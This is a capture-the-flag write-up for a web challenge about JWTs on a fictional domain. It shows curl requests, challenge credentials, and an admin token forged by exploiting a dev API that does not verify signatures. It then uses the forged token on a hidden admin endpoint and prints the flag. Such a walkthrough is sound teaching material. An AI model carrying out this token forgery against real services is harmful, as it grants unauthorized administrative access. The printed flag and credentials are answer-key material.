Skip to content

Chapter 2: The Owner

Category: Web / JWT    |    Points: 3    |    Difficulty: Medium

🧠 Challenge Text

Hi Senior Researcher,

an unknown perpetrator is attempting to discredit the national research and education network (NREN) and, on their domain theylietoyou.tcc, is publishing entirely unverified hoaxes, fake news, and other thoroughly unscientific content aimed against the mission of the NREN.

Law enforcement authorities have already been informed and they could use your assistance to gather as much information as possible. More information can be found on the website http://theylietoyou.tcc/story-line.

Stay curious!

🔍 Hints Text

No hints were provided.

🎨 Solution

Starting point

From Chapter 1 we had:

  • Credentials: newWarrior / chAng3melaTer123 (AUTHOR role)
  • API: api.theylietoyou.tcc (Spring Boot, H2 DB, HS256 JWT)
  • Dev frontend: untraceable-dev.theylietoyou.tcc
  • Swagger/OpenAPI at /v3/api-docs
  • Admin endpoints (/api/admin/users, /api/admin/conf) all return 403 with AUTHOR token

Step 1: Find the dev API URL

The dev frontend is served at untraceable-dev.theylietoyou.tcc.Searching it for API configuration: the dev API is at untraceable-dev-api.theylietoyou.tcc — a separate subdomain.

Step 2: Confirm the dev API is live

curl -s -X POST "http://untraceable-dev-api.theylietoyou.tcc/api/auth/login" \
  -H 'Content-Type: application/json' \
  -d '{"username":"newWarrior","password":"chAng3melaTer123"}'

Returns a valid JWT. Same database, same users, different JWT issuer (http://untraceable-dev-api.theylietoyou.tcc).

Step 3: Discover the dev API doesn't validate JWT signatures

Sending a JWT with a corrupted/fake signature to the dev API: the dev API accepts it — no signature verification. This is the "amateurish implementation" the story-line hinted at.

I went to https://www.jwt.io/ to generate JWT token based on profile http://untraceable-dev-api.theylietoyou.tcc/api/profile. I've changed the role to admin.

{
  "id": 36,
  "userId": 36,
  "firstName": null,
  "lastName": null,
  "birthDate": null,
  "sex": null,
  "address": null,
  "username": "newWarrior",
  "email": "newWarrior@theylietoyou.tcc",
  "role": "admin",
  "createdAt": "2026-01-01T00:00:35Z"
}

and got something similar to

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MzYsInVzZXJJZCI6MzYsImZpcnN0TmFtZSI6bnVsbCwibGFzdE5hbWUiOm51bGwsImJpcnRoRGF0ZSI6bnVsbCwic2V4IjpudWxsLCJhZGRyZXNzIjpudWxsLCJ1c2VybmFtZSI6Im5ld1dhcnJpb3IiLCJlbWFpbCI6Im5ld1dhcnJpb3JAdGhleWxpZXRveW91LnRjYyIsInJvbGUiOiJhZG1pbiIsImNyZWF0ZWRBdCI6IjIwMjYtMDEtMDFUMDA6MDA6MzVaIn0.kyiQ1eKLYb5WbD4Xf_wKxi7-5Jntzh6GgbDLcmD9J00

it might be tempting to get admin credentials after retrieving JWT for admin. The promising way is to use meta admin endpoint but it leads to different chapter!!!

Sketch: 

metaId = baseOffset + (userId * multiplier) + fieldOffset",

metaId = 154700(baseOffset) +  1*(admin id)*1000(multiplier) + 99(Data) = 155799

curl -X 'GET' \
  'http://untraceable-dev-api.theylietoyou.tcc/api/admin/users/1/meta/155799' \
  -H 'accept: */*' \
  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxIiwiYXVkIjoidGNjLWFwaSIsInJvbGUiOiJBRE1JTiIsImlzcyI6Imh0dHA6Ly91bnRyYWNlYWJsZS1kZXYtYXBpLnRoZXlsaWV0b3lvdS50Y2MiLCJleHAiOjE3OTI2MTE5NjIsImlhdCI6MTc5MjYxMTA2MiwianRpIjoiYmYwODRiMDMtZjQ0Mi00NGIyLWIyYzItMDA4YzNkNWYzZDI1IiwidXNlcm5hbWUiOiJhZG1pbiJ9.yhexuuuO94oQPNJc-vxXFSAii5PRsT8TD8gMCdf2Oyw'

Gives a binary blob!

Step 4: Forge an ADMIN token and get try invisible admin endpoint

This was not obvious to me and Claude code advised me to try out http://untraceable-dev-api.theylietoyou.tcc/api/admin/flag.

curl -s "http://untraceable-dev-api.theylietoyou.tcc/api/admin/flag" \
  -H "Authorization: Bearer ${ADMIN_JWT}"

which leads to

{"flag":"FLAG{nJd3-nn70-B55u-ld34}"}